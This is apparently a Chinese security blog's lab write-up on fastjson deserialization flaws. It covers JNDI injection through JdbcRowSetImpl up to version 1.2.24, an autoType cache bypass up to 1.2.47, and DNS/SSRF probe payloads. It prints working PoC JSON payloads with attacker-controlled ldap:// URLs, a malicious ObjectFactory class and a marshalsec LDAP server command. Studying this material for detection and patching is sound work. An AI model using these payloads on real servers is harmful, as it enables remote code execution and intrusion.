fastjson反序列化攻防

<=1.2.24 JNDI注入利用链(com.sun.rowset.JdbcRowSetImpl)

按照这张图里的描述:
在这里插入图片描述
使用JdbcRowSetImpl类作为目标类,根据PoC中指定的属性dataSourceNameautoCommit,到时候应该会调用setDataSourceName
PoC内容如下:

package com.cqq;

import com.alibaba.fastjson.JSON;
import com.cqq.User;

public class PoC {
    public static void main(String[] args) {
        String payload =   "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"ldap://192.168.85.129:1389/Exploit\",\"autoCommit\":true}";
        JSON.parse(payload);
    }
}

当然事先得先准备好两点:
1、待被远程下载的Exploit类;

import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class Exploit implements ObjectFactory {
    public Exploit() {
    }

    public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
        exec("xterm");
        return null;
    }

    public static String exec(String var0) {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException var2) {
            var2.printStackTrace();
        }

        return "";
    }

    public static void main(String[] var0) {
        exec("123");
    }
}

2、LDAP服务;
使用marshalsec生成:

java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.85.129:8090/#Exploit

表示在默认端口1389创建了LDAP服务,其内容通过http访问http://192.168.85.129:8090/#Exploit这个url获取到。

LDAP服务,和HTTP下载来的Exploit都是攻击者可控的,在客户端执行的。PoC是在fastjson开启服务的主机执行的。但是本质上这里模拟一个fastjson服务,其payload的json字符串是用户可控的。
查看一下调用栈:

Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
	at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:136)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922)
	at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
	at com.alibaba.fastjson.JSON.parse(JSON.java:137)
	at com.alibaba.fastjson.JSON.parse(JSON.java:128)
	at com.cqq.PoC.main(PoC.java:10)
Caused by: java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96)
	... 10 more
Caused by: java.lang.NullPointerException
	at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:630)
	at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
	... 15 more

演示

整理的流程是:

那么攻击者的流程就是这样的。攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。

来源:http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

在攻击者可控的客户端准备的条件:
1、待被远程下载的Exploit类
在这里插入图片描述
2、LDAP服务;
在这里插入图片描述
最终,在服务端执行PoC的Demo:
在这里插入图片描述
让我们去目标类下断点,进行调试。
不知道是哪里触发的,索性在两个方法setDataSourceNamesetAutoCommit都下断点:
调试发现,首先是设置DataSourceName,

C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#setDataSourceName
在这里插入图片描述
继续跟其父类javax.sql.rowset.BaseRowSet的setDataSourceName方法:
在这里插入图片描述
这个方法的注释如下:

/**
* Sets the DataSource name property for this RowSet
* object to the given logical name and sets this RowSet object’s
* Url property to null. The name must have been bound to a
* DataSource object in a JNDI naming service so that an
* application can do a lookup using that name to retrieve the
* DataSource object bound to it. The DataSource
* object can then be used to establish a connection to the data source it
* represents.
*


* Users should set either the Url property or the dataSourceName property.
* If both properties are set, the driver will use the property set most recently.
*
* @param name a String object with the name that can be supplied
* to a naming service based on JNDI technology to retrieve the
* DataSource object that can be used to get a connection;
* may be null but must not be an empty string
* @throws SQLException if an empty string is provided as the DataSource
* name
* @see #getDataSourceName
*/

然后是设置autoCommit为true:
在com/alibaba/fastjson/parser/deserializer/FieldDeserializer#setValue

在这里插入图片描述
通过反射调用了com.sun.rowset.JdbcRowSetImpl.setAutoCommit(boolean)方法,并传入参数true
然后跟进这个setAutoCommit方法:
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#setAutoCommit
在这里插入图片描述
可以看到这个类是jdk自带的。
这里从业务逻辑上看应该是设置SQL执行的自动提交?但是需要先拿到一个连接(connection),若没有连接,则需要先建立一个连接,即

this.conn = this.connect();

继续跟进:
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#connect

看这个条件判断:

else if (this.getDataSourceName() != null)

因为我们之前已经通过setDataSourceName设置了dataSourceName的值,所以这里可以进入这个条件分支:
在这里插入图片描述
关键都在这个lookup里面了。
然后就是对这个url:

ldap://192.168.85.129:1389/Exploit

一步一步的lookup了。接下来说一下lookup的细节,
比如
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\jndi\url\ldap\ldapURLContext#lookup
里要判断这个url里有没有?,即是否有查询的部分:
这里提供的url是没有查询部分的,所以继续调用其父类的lookup:
在这里插入图片描述
跟进C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext#lookup
在这里插入图片描述
这里通过var2.getRemainingName()得到/后面的部分,即向控制的服务器上获取Exploit.class文件。

最终一路lookup,到了这里:
javax/naming/spi/DirectoryManager.getObjectInstance()

在这里插入图片描述
然后就进入Exploit#getObjectInstance
在这里插入图片描述
在这里插入图片描述
完整调用栈如下:

exec:21, Exploit
getObjectInstance:12, Exploit
getObjectInstance:194, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, PoC (com.cqq)

tips:
虽然大多数情况是把Exploit代码和PoC放到同一台主机上,这里我放到了网络上另外一台,但是这样做的情况是,如果不在IDEA中设置Exploit的源码或者class,IDEA是跟不到Exploit中的,所以需要手动设置一下。

fastjson漏洞检测

fastjson漏洞的白盒检测,可以查看pom.xml文件中fastjson的版本,判断是否低于某个版本
fastjson漏洞的黑盒检测,在低版本下(默认开启@type功能),只需要构造一个以往被利用的poc即可。比如可以通过这个ssrf:
在这里插入图片描述
poc是:

{"@type":"javax.swing.JEditorPane","page":"http://127.0.0.1:1389?a=1&b=22222"}

可以去javax/swing/JEditorPane.java#setPage下断点,没跟到具体发起请求的点,但是可以猜到应该是根据这个url去发起请求了。
在这里插入图片描述
参考:

  • https://github.com/threedr3am/learnjavabug/blob/master/fastjson/src/main/java/com/threedr3am/bug/fastjson/ssrf/JREJeditorPaneSSRFPoc.java

具体参考:https://github.com/alibaba/fastjson/blob/f164d8519ff061baac6f8d58a5a1b88c2afab00e/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
在com/alibaba/fastjson/parser/ParserConfig类中有一个变量AUTO_SUPPORT,这个值默认是false。
在这里插入图片描述
再参考如何打开autoTypeSupport功能(可以设置JVM启动参数,也可以在代码中手动打开):
在这里插入图片描述
参考:https://github.com/alibaba/fastjson/wiki/enable_autotype

1.2.25的全局配置:
https://github.com/alibaba/fastjson/blob/1.2.25/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java

在这里插入图片描述
1.2.24的全局配置:
https://github.com/alibaba/fastjson/blob/1.2.24/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
没有跟autotype相关的东西。
在这里插入图片描述
所以<= 1.2.24版本默认开启了autotype,是存在严重漏洞的;
而1.2.25及之后的版本,需要判断这个开关是否被手动打开,具体代码为:

ParserConfig.global.setAutoTypeSupport(true);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);   //跟上面一样的效果,同样是拿到ParserConfig类的静态成员变量:一个ParserConfig>对象

在这里插入图片描述

在1.2.25版本下,不手动打开这个开关,再使用之前的payload,结果出现异常:
在这里插入图片描述
响应的包里也有:
在这里插入图片描述

具体的检查是否支持AutoType的代码在:

C:\Users\Administrator.m2\repository\com\alibaba\fastjson\1.2.25\fastjson-1.2.25.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#parseObject(Map object, Object fieldName)

在这里插入图片描述
(PS:到时候在这里下断点就可以了,不用一直parseObject)
可以看到这里是true,所以应该是支持的。
在这里插入图片描述
然后进行黑白名单的判断:
在这里插入图片描述
AcceptList为空:
在这里插入图片描述
可以看到有这些DenyList:
在这里插入图片描述

比如我们这次的payload是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

当循环到com.sun这个开头的类名时 ,就抛出了JSONException:autoType is not support.
在这里插入图片描述

在这里插入图片描述

用同样的环境测试这个Gadget:javax.swing.JEditorPane,发现是可以SSRF的,所以这里autoType是支持的,只是匹配到了黑名单。而我们的这个Gadget:javax.swing.JEditorPane不在黑名单里,所以可以利用成功。
在这里插入图片描述

<= 1.2.47版本的autoType被绕过

影响范围

1.2.25 <= fastjson <= 1.2.47
根据这篇文章说是这样的:

1.2.33 - 1.2.47 无条件利用
1.2.25 - 1.2.32 未开启 AutoType 可以利用,开启反而不能 (默认关闭)
1.2.24 无条件利用

因为

cache 机制是从 1.2.25 添加的

漏洞复现

原理参考:
https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/
据说是可以通过TypeUtils这类的缓存
在这里插入图片描述
在这里插入图片描述
参考:https://rmb122.com/2020/02/01/fastjson-RCE-%E5%88%86%E6%9E%90/
感谢java-sec-code项目,编辑pom.xml,将fastjson版本修改为1.2.47之后重新编译,使用这个payload测试:

{
    "111": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "222": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://192.168.170.1:1389/Exploit", 
        "autoCommit": true
    }
}

如果192.168.170.1:1389收到TCP连接了,则证明存在漏洞。
在这里插入图片描述
这个poc先通过这个json:

"a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 

com.sun.rowset.JdbcRowSetImpl放到那个mapping(缓存)里,
在这里插入图片描述

在这里插入图片描述
第一次到

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache)

的调用栈:

loadClass:1210, TypeUtils (com.alibaba.fastjson.util)
loadClass:1206, TypeUtils (com.alibaba.fastjson.util)
deserialze:335, MiscCodec (com.alibaba.fastjson.serializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
parseObject:223, JSON (com.alibaba.fastjson)
Deserialize:25, Fastjson (org.joychou.controller)

mappings原本是98,
在这里插入图片描述
放进去之后变成了99,
在这里插入图片描述

第一个关键节点是:
com/alibaba/fastjson/parser/DefaultJSONParser#parseObject(final Map object, Object fieldName)

clazz = config.checkAutoType(typeName, null, lexer.getFeatures());

这里的typeName是java.lang.Class
在这里插入图片描述
这里的typeName是我们传进去的@type设置的值:java.lang.Class

可以看到有很多关卡都会有检查,

一旦匹配到,则抛出异常:

throw new JSONException("autoType is not support. " + typeName);

不过我们的这个payload没有触发异常,到了下一个关键点:
在这里插入图片描述

跟进到:com/alibaba/fastjson/util/TypeUtils#getClassFromMapping(String className)

在这里插入图片描述
第一次使用111的时候,没从getClassFromMapping(String className)拿到clazz,但是从下面的

clazz = deserializers.findClass(typeName);

拿到了clazz,
在这里插入图片描述
com/alibaba/fastjson/parser/DefaultJSONParser#
尝试对提供对java.lang.Class进行反序列化:
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
判断这个clazz是否为日期、IP地址、语言、URI、URL、UUID、File、时区等类型,直到判断这个是一个java.lang.Class类型,则使用

TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
(注:这个缓存很强劲,质押JVM启动这个fastjson,一旦有一次请求把这个类加入到缓存之后,就会一直保持那个类,也就是从原来到98到99个mapping)

com/alibaba/fastjson/parser/DefaultJSONParser#parseObject(final Map object, Object fieldName)
=>
L316: clazz = config.checkAutoType(typeName, null, lexer.getFeatures());    //返回到clazz为payload中指定的java.lang.Class
L384: Object obj = deserializer.deserialze(this, clazz, fieldName);     //clazz: java.lang.Class, filedName: 111
    com/alibaba/fastjson/serializer/MiscCodec#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)
    =>
    L237: objVal = parser.parse();    // 拿到objVal的值为: "com.sun.rowset.JdbcRowSetImpl"
    L335: return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());  // strVal为com.sun.rowset.JdbcRowSetImpl
        com/alibaba/fastjson/util/TypeUtils#loadClass(String className, ClassLoader classLoader, boolean cache)
        =>    // 不以'['开头,不以"L"开头且";"结尾
        L1240: clazz = contextClassLoader.loadClass(className);    //通过TomcatEmbeddedWebappClassLoader加载com.sun.rowset.JdbcRowSetImpl类,得到clazz为com.sun.rowset.JdbcRowSetImpl.class
        L1242: mappings.put(className, clazz);    // 加入到mappings缓存中
        返回com.sun.rowset.JdbcRowSetImpl.class
// 继续解析222
由于之前mappings已经被添加了这个类,现在可以直接从mappings中取得这个类了。

其实即便第一次发:

{
    "111": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }
}

第二次发:

{
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://192.168.170.1:1389/Exploit", 
        "autoCommit": true
}

在这里插入图片描述
也是可以的。只要启动基于fastjson的WEB服务没有重启就行。

不过如果没有铺垫111的这个请求,正常情况下是:
在这里插入图片描述

<= 1.2.67的绕过autotype进行域名解析

参考:

试了几种格式:涉及到几个类:java.net.Inet4Addressjava.net.Inet6Addressjava.net.URLjava.net.InetSocketAddress

{"@type":"java.net.Inet4Address","val":"e3ifk6b20aw3bj7i539idx5vum0co1.burpcollaborator.net"}
{{"@type":"java.net.URL","val":"http://fastjson.433f419eb1a8717d6a35.d.zhack.ca/ssrf"}:"x"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"fastjson2.433f419eb1a8717d6a35.d.zhack.ca"}}

Demo

在这里插入图片描述

更详细的fastjson利用历史参考:

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章